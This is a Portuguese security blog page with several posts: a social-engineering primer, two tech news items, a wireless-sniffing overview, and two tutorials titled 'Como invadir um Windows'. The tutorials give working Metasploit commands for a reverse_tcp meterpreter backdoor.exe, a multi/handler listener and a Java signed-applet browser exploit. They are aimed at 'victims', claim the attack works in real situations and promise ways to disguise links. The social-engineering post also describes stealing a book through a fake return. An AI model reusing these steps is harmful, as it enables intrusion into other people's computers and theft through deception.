Introdução à Segurança da Informação - Parte 5

No-Tech Hacking e Engenharia Social

E ai pessoal, vamos dar continuidade com nossa série de posts sobre o básico da Segurança da Informação. O tópico de hoje é a engenharia social e todos os outros métodos conhecidos como No-Tech hacking. No-Tech Hacking é o termo utilizado para ataques voltados para computadores, infraestruturas ou até mesmo o usuário, sem necessariamente usar de tecnologia para isso. Veremos alguns exemplos daqui a pouco.

Engenharia Social

Segundo a Wikipedia, engenharia social é:

Em Segurança da informação, chama-se Engenharia Social as práticas utilizadas para obter acesso a informações importantes ou sigilosas em organizações ou sistemas por meio da enganação ou exploração da confiança das pessoas. Para isso, o golpista pode se passar por outra pessoa, assumir outra personalidade, fingir que é um profissional de determinada área, etc. É uma forma de entrar em organizações que não necessita da força bruta ou de erros em máquinas. Explora as falhas de segurança das próprias pessoas que, quando não treinadas para esses ataques, podem ser facilmente manipuladas.

Basicamente, como explicado acima, engenharia social é a técnica que ataca o conhecido "elo mais fraco da corrente", o usuário. Se você pretende se aprofundar um pouco mais nesta nobre arte veja os posts Pentest Físico,  onde falo um pouco sobre o Tiger Team, um grupo de pentesters que usa de engenharia social para invadir lugares altamente seguros, a indicação do livro Social Engineering: The Art of Human Hacking, e um pequeno exemplo demonstrado no livro, e o filme baseado na captura de um dos maiores se não o maior engenheiro social de todos os tempos Kevin Mitnick.

Mas para os preguiçosos, vou deixar aqui um exemplo que se não me engano foi o Luiz Vieira que deu em uma palestra no SegInfo.

Veja como é fácil entrar em uma empresa, onde na porta de entrada tem um dispositivo de segurança como um leitor de digital ou cartão. O ser humano tem quase como instinto ajudar um semelhante. Se alguém da empresa está na porta e você chegar com uma caixa grande aparentando ser algo pesado, após a pessoa se autenticar e passar ela vai se dispor a segurar a porta para você entrar e nisso ela acaba comprometendo a segurança física da empresa, isso se chama tailgating.

Outro exemplo bem interessante é uma livraria. Você entra com uma sacola da livraria e sem que ninguém perceba pega um livro da prateleira e coloca na sacola e se dirige ao caixa. Ao chegar, com muito bom humor cumprimenta a pessoa que está no caixa e diz que ganhou este livro e que não gostou ou já tinha e que gostaria de trocar. Independente se a resposta for positiva ou negativa, você agradece e sai da livraria. Com isso você acaba de conseguir um livro gratuitamente.

Mas engenharia social não é só isso de ir pessoalmente até o alvo e interagir diretamente com ele, isso é apenas uma das atividades de um engenheiro social. Ataques também podem ser feitos por telefone, veja o filme do Mitnick, ou até mesmo por computador. Você provavelmente já recebeu spam com alguma coisa aleatória informando que você ganhou algo ou que algum orgão importante está te procurando e te sugere clicar num link, isso se chama Phishing. Pishing é outra atividade de um engenheiro social, se passar por uma pessoa ou instituição, chamar sua atenção e fazer você baixar algum arquivo malicioso para acessar seu computador. Esse é um dos métodos mais efetivos e comuns de ataque hoje em dia. Existe também o phishing direcionado, feito especialmente para um alvo em específico, esta técnica é conhecida como Spear Phishing.

Dumpster Diving

O dumpster diving é o ato de literalmente catar no lixo do alvo por informações sensíveis que podem ser usadas em um ataque. Você já parou para olhar o que vai para o lixo e como é tratado o lixo onde você trabalha? Alguém anota uma senha nova num papel e assim que memoriza este papel vai para o lixo. Outro exemplo citado no livro que eu indiquei anteriormente é onde o autor está fazendo uma auditoria e como já vinha sendo feita por outra empresa ele encontrou poucas ou quase nenhuma vulnerabilidade nos sistema da empresa e teve que apelar para o lado mais no-tech. Com uma pequena pesquisada no lixo ele encontrou informações sobre uma terceira empresa que prestava serviços as máquinas no alvo. Até encontrou nomes de funcionários, um cartão da empresa prestadora de serviços e os horários que eles normalmente passavam por lá para conferir os sistemas.

De posse dessas informações o autor ligou para a empresa prestadora de serviços se passando por um funcionário do alvo avisando que fechariam mais cedo naquele dia e que não precisava mandar ninguém naquele dia. No horário que a monitoria deveria acontecer ele se passou pelo funcionário e foi até o alvo, apresentou o cartão achado no lixo e teve acesso irrestrito aos sistemas da empresa, podendo fazer o que fosse necessário para infectar os sistemas.

Lockpicking

Lockpick é a arte de abrir portas, cadeados, e tudo mais que pode ser trancado com uma chave. Com essas ferramentas com com um pouco de estudo sobre os mecanismos de segurança usados em fechaduras você pode ser capaz de abrir qualquer porta trancada ou cadeado que esteja bloqueando seu caminho até a sala do servidor. Sempre que se fala nas lockpicks, conhecidas como michas aqui no Brasil, já se vem a cabeça sobre leis e muitas pessoas alegam ser crime andar com elas por ai e pode te trazer problemas. Teoricamente elas até estejam certas, mas pelo que eu ouvi falar você só vai ter problemas se for visto arrombando alguma porta ou cadeado ou se já tiver passagem pela polícia por algo similar. Em alguns casos, destrancar uma porta pode ser mais simples e valioso do que hackear um sistema.

Proteção

E agora, nem imaginávamos que existisse métodos deste tipo empregados em segurança da informação, como vamos fazer para proteger nossas empresas desse tipo de ataque?

Primeiro de tudo, os funcionários da empresa precisam ser treinados para esse tipo de coisa, mas um pouco de bom senso também vai bem. No caso da porta com autenticação, se você nunca viu a pessoa antes e sabe que para entrar é necessário a autenticação na porta não sinta-se mal em fechar a porta na cara da outra pessoa, por mais que pareça rude pode salvar a empresa de um ataque, ou um dano maior apenas evitando o tailgating. Também é bom prestar a atenção se não tem ninguém olhando quando você digita alguma senha ou informação confidencial. Também não é recomendado conversar sobre assuntos internos de respeito apenas de funcionários em locais públicos. E o mais importante, aprenda a fazer o descarte seguro de suas informações em papel, seja com fragmentadoras de papel ou outra ferramenta.

Read More

Google Glass pode fazer usuários não verem 'óbvio ululante'

 

Tela do óculos distrai usuário do mundo ao redor, mesmo com mãos livres, diz pesquisador

Foto: Reprodução 

Especialistas em Psicologia têm questionado a segurança de uso do Google Glass. No The New York Times, Christopher F. Chabris, professor da universidade Union College, nos Estados Unidos, aponta que o óculos inteligente do gigante de buscas pode distrair o usuário e fazê-lo não ver o "óbvio ululante".  

O argumento do Google quanto à segurança do gadget de vestir (ou wearable gadget) é que em vez de andar olhando para baixo, enquanto usa o smartphone, o Glass permite que as pessoas tenham as mãos livres. Mas o artigo de Chabris no jornal americano contrapõe que a possibilidade de usar as mãos para outra atividade não significa que o cérebro consiga dividir a atenção em quantas ações se queria.

"O Google Glass pode permitir que as pessoas façam coisas incríveis, mas ele não elimina os limites da capacidade humana de prestar atenção", resume o professor de Psicologia. Ele diz que intuitivamente as pessoas sabem que, ao voltante por exemplo, não devem desviar o olhar por mais do que dois segundos, mas que perdem a noção do tempo quando estão interagindo, seja em conversas ou olhando o smartphone.

 

Foto: Agaton Strom/Poptech / Wikimedia

 

​Segundo pesquisas conduzidas nos EUA, continua Chabris, ao mandar mensagens as pessoas se distraem por em média 4,6 segundos. Além disso, testes mostraram que a ideia de que alterações no campo de visão chama a atenção não é tão real: participantes dos estudos não percebiam um homem vestido de gorila mesmo quando olhavam diretamente para a figura - o pesquisador é autor do livro O gorila invisível: como nossas intuições nos enganam.

"O fenômeno da 'cegueira sem intenção' mostra que o que vemos não depende somente do objeto para o qual estamos olhando, mas também em como focamos nossa atenção", explica. Por isso, segundo o professor, não basta apenas deixar as mãos livres para aumentar a segurança de usar o smartphone simultaneamente a outras atividades. "A percepção requer tanto os olhos quanto a mente, e se a mente está ocupada, se pode deixar de ver o óbvio ululante."

"As intuições sobre a atenção levam a pressupostos errados sobre como provavelmente vamos enxergar; estamos especialmente mal preparados para como a nossa atenção pode ser completamente absorvida com a disponibilidade contínua de uma informação potencialmente útil", conclui o professor.

Fonte: Terra

Read More

Operadora dá acesso gratuito a chat do Facebook no celular

Acordo vale para usuários do aplicativo em dispositivos que rodam iOS ou Android

Foto: Divulgação

Uma parceria entre a Oi e o Facebook anunciada nesta segunda-feira permitirá que os clientes da operadora conversem pelo aplicativo Facebook Messenger sem serem cobrados pelo uso de dados. Segundo a operadora, até 15 de setembro, clientes pré-pagos e pós-pagos poderão se conectar pelo serviço de bate-papo da rede social de forma gratuita. 

A isenção de cobrança no tráfego de dados vale somente para as versões do facebook Messenger para Android e iOS. O Facebook oferece serviço semelhante em outros 13 países, em parceria com 17 operadoras.

Fonte: Terra

Read More

Como invadir um Windows [2]

Voltei com mais um método de invasão do nosso querido Windows.

Dessa vez vou abordar o segundo caso do post anterior, os ataques que exploram alguma vulnerabilidade através do browser da vítima. Para este exemplo a vítima precisa ter instalado o temido java, caso contrário não vai funcionar.

Lembrando: estes casos iniciais que estou mostrando aqui só vão ocorrer em um ambiente controlado. Acho que ninguém seria burro o suficiente para clicar em um link do tipo http://xxx.xxx.xxx.xxx:8080/QeuYsz, mais para frente vamos aprender como camuflar esse tipo de coisa para dai sim ficar mais convincente. ;)

Vamos então iniciar o Metasploit com o comando msfconsole e acessar nosso exploit:

use exploit/multi/browser/java_signed_applet
show options

OBS: Neste caso temos ali em Exploit Target quais alvos ele pode exploitar. Nesse caso apenas 32bits, se você tentar em um 64bits pode ser que nada aconteça.

Vamos preencher os campos necessários como sempre, SRVHOST e URIPATH e executar:

Iniciado e funcionando! Agora precisamos que a vítima entre neste endereço. Como estamos em um ambiente controlado, para facilitar vamos apenas digitar isso no navegador ;)

Assim que a página carrega em branco, ou com um Loading... escrito eu recebo um aviso de que uma aplicação java está pedindo permissão para ser executada:

Agora você me pergunta: Quem seria o idiota que executaria esta aplicação de um site estranho que nem carregou? A resposta é simples e eu já falei ela no início deste post. Como é um teste controlado está tudo certo e num teste real tem grandes chances de não funcionar, mas imagine isso aparecendo em um site que se parece muito com o site do banco da vítima, grandes chances dela clicar, mas veremos isso mais para frente, veja o que aparece no seu terminal se a pessoa liberar a execução:

Neste caso não caimos direto no meterpreter, precisaremos interagir com a sessão, mas sabemos que deu certo por que está escrito ali session 1 opened...

Para acessarmos essa sessão do meterpreter primeiro temos que confirmar o id da sessão listando todas as sessões abertas com o comando sessions -l, e depois interagindo com o comando sessions -i [id_da_sessão]:

Agora sim! Está ai! Vou rodar alguns comandos para confirmar que está tudo certo:

Tudo funcionando perfeitamente, estou novamente com controle da máquina alvo. Com isso já vimos dois dos principais tipos de ataques, aguarde que já já vem mais e depois vamos melhorar estes ataques para daí sim poder partir para a pós exploração.

Bons estudos!

Read More

Como invadir um Windows

Olá pessoal!

Como vejo muitas pessoas com essas dúvidas simples venho com este post para resolver todas ou pelo menos boa parte delas. Muitas pessoas veem tutoriais, tools e scripts para fazer após invadir uma máquina com Windows, mas o que a maior parte delas é como invadir um windows. Como estou pensando em fazer vários posts com ferramentas para pós exploração primeiro tenho que sanar as dúvidas mais básicas. Então vamos a elas:

Como eu invado um Windows?

A cada dia que passa está cada vez mais difícil de conseguir um exploit que libere de cara acesso remoto, quem já usou o clássico net_api sabe do que me refiro, roda o exploit e já cai direto na shell do alvo. Hoje em dia, para você conseguir realmente invadir alguém você vai ter que primeiro descobrir o que a vítima tem instalado, que é a porta mais fácil para uma invasão bem sucedida. Temos exploits para Java (muitos), Adobe Reader, Word, Excel, Foxit Reader, entre outros. O que você pode fazer é convencer a vítima a baixar um arquivo infectado e com isso tomar o controle da máquina, este processo é conhecido como conexão reversa, porque no caso é o alvo que se conecta a você e não você diretamente no alvo. Isso é útil para caso o alvo tenha um firewall que impede que você chegue até a máquina, mas provavelmente ele não vai impedir que ele chegue até você.

Outro método muito utilizado é uma página infectada com algo malicioso que assim que a pessoa acessa o browser dispara uma instrução para algum programa que acessa a falha, libera o exploit e da a você o controle. Tem também outros métodos, como por exemplo um pendrive com um payload no autorun, assim que conectado infecta a máquina.

Mas a real é, de algum modo ou outro, você vai ter que convencer a vítima a fazer algo, acessar algo ou clicar em algo.

Mas e se a vítima não estiver na mesma rede que eu?

Todos os tutoriais disponíveis na internet, com algumas exceções, mostram os testes em ambientes controlados, normalmente em máquinas virtuais em uma mesma rede fechada. Isso facilita bastante se você tiver essa possibilidade, mas se não tiver não tem problema, nada impede que você mande um PDF infectado para alguém do outro lado do mundo e assim que ela clicar você tomar o controle da máquina, só tem algumas coisas a mais que você tem que cuidar, como por exemplo, ter um ip externo fixo, ter no seu roteador um redirecionador de portas para mandar a requisição que chegar na porta do roteador para a porta da sua máquina que já vai estar esperando a conexão reversa. Estou montando já um post sobre isso, aguarde...

Fiz exatamente igual ao tutorial e não funcionou, o que eu fiz de errado?

Talvez nada! Sim, pode ser que mesmo fazendo tudo certo como mostra o tutorial seu ataque não seja bem sucedido. Tem muitos fatores que podem influenciar o resultado de um ataque, como por exemplo, a versão do sistema do alvo, o idioma do sistema do alvo, a versão do programa vulnerável, compartilhamento ativado/desativado, firewall ativado/desativado, e muitas outras coisas.

Se seu ataque deu errado não desista, tente novamente com outro exploit. Métodos e falhas é o que mais tem por ai, não é difícil achar uma que dê certo para você.

Acho que essas são as dúvidas mais básicas, assim que eu for lembrando de mais eu vou colocando aqui. Então vamos a prática que mostrar é mais fácil do que descrever. A cada post vou mostrar um método diferente de obter acesso a uma máquina Windows, caso não esteja conseguindo ou alguma outra dúvida surgir não hesite em me contatar no email.

Vamos então ao método mais simples de infecção. Vou gerar um arquivo .exe malicioso e enviar para a  vítima, para facilitar vou fazer em meu lab, mas não esqueça, isso funciona em uma situação real.

Primeiramente vamos usar o comando msfpayload, uma ferramenta do framework do Metasploit para gerar apenas o payload executável para a vítima poder clicar.

O comando é super simples:

msfpayload windows/meterpreter/reverse_tcp LHOST=”seu IP” LPORT=”porta para conexão” x > /root/backdoor.exe

Não precisa utilizar necessariamente a porta 4444 eu estou usando esta porque é a padrão do Metasploit. Agora o que eu fiz foi enviar esse arquivo executável para uma máquina windows e clicar nele lá. Mas antes da vítima executar precisamos ficar esperando a conexão na máquina atacante. Para isso vamos usar o exploit handler que pode ser encontrado em exploit/multi/handler no Metasploit. Inicie o Metasploit com o comando msfconsole e digite os seguintes comandos:

use exploit/multi/handler  <-- Exploit que vai ser usado para aguardar a conexão
set payload windows/meterpreter/reverse_tcp  <-- Payload que será injetado assim que o alvo se conectar
set lhost 192.168.1.5  <-- IP do atacante
set lport 4444 <-- Porta setada no payload que foi enviado para a vítima, se colocar uma porta diferente aqui nunca chegará a conexão
exploit  <-- Rodar o exploit

Tudo pronto! Se chegamos até aqui é porque deu tudo certo, handler iniciado e aguardando a conexão. Agora sim a vítima pode clicar no executável: 

Assim que a vítima clicar você verá no terminal algo parecido com isto:

E com isso conseguimos o acesso ao alvo! Como pode ver estamos com a shell do meterpreter. O meterpreter é um lançador de comandos, como se fosse a shell. É o que vai interagir entre as duas máquinas. Vamos rodar alguns comandos interessantes aqui para termos certeza de que estamos de fato na máquina da vitima. Na imagem abaixo eu rodei o comando sysinfo do meterpreter para obter infomações da máquina que estou conectado e o comando shell para receber a shell do alvo. Na shell do alvo usei o comando dir para listar os diretórios da pasta atual.

E por em quanto é isso! No próximo post vou dificultar um pouco mais e colocar alguns conceitos mais aprofundados.

Bons estudos!

Read More

Redes wireless: Sua próxima dor de cabeça

Imagine que é um dia normal, e você está sentado com seu notebook ou um smartphone, em seu café favorito, ou no lobby de seu hotel e ver uma rede sem fios gratuita. Você se conecta e começa a navegar na web, e nesse meio tempo, o cara da mesa ao lado lê e registra todo o seu tráfego, vê todos os sites que você está visitando e recebe todos os seus logins / senhas.


Esse foi o exemplo mais óbvio de Wi-Fi sniffing - uma das formas mais amplamente distribuída de obter informações pessoais do outro. Usando o que permite que os malfeitores para roubar informações valiosas, tais como contas de redes sociais, dados de cartão de crédito e logins realmente valiosos, como o seu login / senha para o PayPal.

Primeiro de tudo, devemos mencionar que é realmente fácil de interceptar o tráfego enviado em redes sem fio. Ainda mais, existem aplicativos mesmo móveis para iOS e Android, que pode ser realmente útil para sniffar, ataques MITM e até mesmo honey pots. Agora, gostaríamos de focar em como esses ataques são executados e como você pode evitar.

Provavelmente, a maneira mais fácil de roubar o tráfego de outra pessoa é fazer com que ele ou ela para ligar o seu roteador ou dispositivo móvel. Geralmente, os smartphones modernos são capazes de compartilhar seu acesso 3G ou 4G internet através de Wi-Fi gratuito. Nesse caso o hacker provavelmente vai sentar-se no café, hotel ou do aeroporto, e sua rede sem fio será chamado exatamente como o lugar que ele está residindo no momento.

O usuário se conecta uma rede desse tipo, e todo o seu tráfego é visível para o host. Portanto, nossa primeira recomendação será evitar as redes sem fio públicas, gratuitas e desprotegidas. Usá-las você pode encontrar-se no meio de um honey pot. Para evitar isso - sempre verifique antes de se conectar à rede e ligue a opção de conexão automática nas configurações do adaptador sem fio. Isso provavelmente vai ajudar você a evitar o clássico honey pot.

Outra forma bastante difundida para invadir uma rede Wi-Fi é executar um ataque MiTM. Esse ataque man-in-the-middle podem ser executadas com um iPhone, então isso quer dizer que qualquer usuário de redes wireless pode estar em perigo.

Este tipo de ataque é muito mais complicado que um honey pot, porque em boa parte das vezes não envolve apenas interceptação de tráfego, mas sim decodificar uma chave de acesso, ou mesmo um bruteforce. Depende muito da criptografia utilizada na rede, no caso de WEP o hacker precisa apenas coletar uma quantidade massiva de pacotes para que a chave seja revelada


E se sua rede wireless utiliza algo mais avançado, como por exemplo WPA 2 Personal ou Enterprise essa tarefa se torna muito mais difícil. Nestes casos, você tem que esperar que algum cliente se conecte no seu hotspot ou usar de bruteforce. Mas temos que levar em consideração que por espalhar o sinal no ar, e não transmitir por cabos, é visivelmente mais vulnerável. Só estar próximo da cobertura da rede que você já pode tentar roubar pacotes.

O ponto principal deste artigo é evitar redes wireless públicas e desprotegidas, elas são muito mais vulneráveis, sempre que possível use redes cabeadas. Se não tiver a possibilidade de usar redes cabeadas pelo menos use um proxy ou uma vpn, isso vai ajudar a manter você seguro nessas redes.

Fonte: ehacking

Estamos preparando alguns posts sobre todos os tipos de invasão envolvendo redes wireless para que vocês vejam como é fácil e vulnerável uma rede sem fio. Aguarde... :)

Read More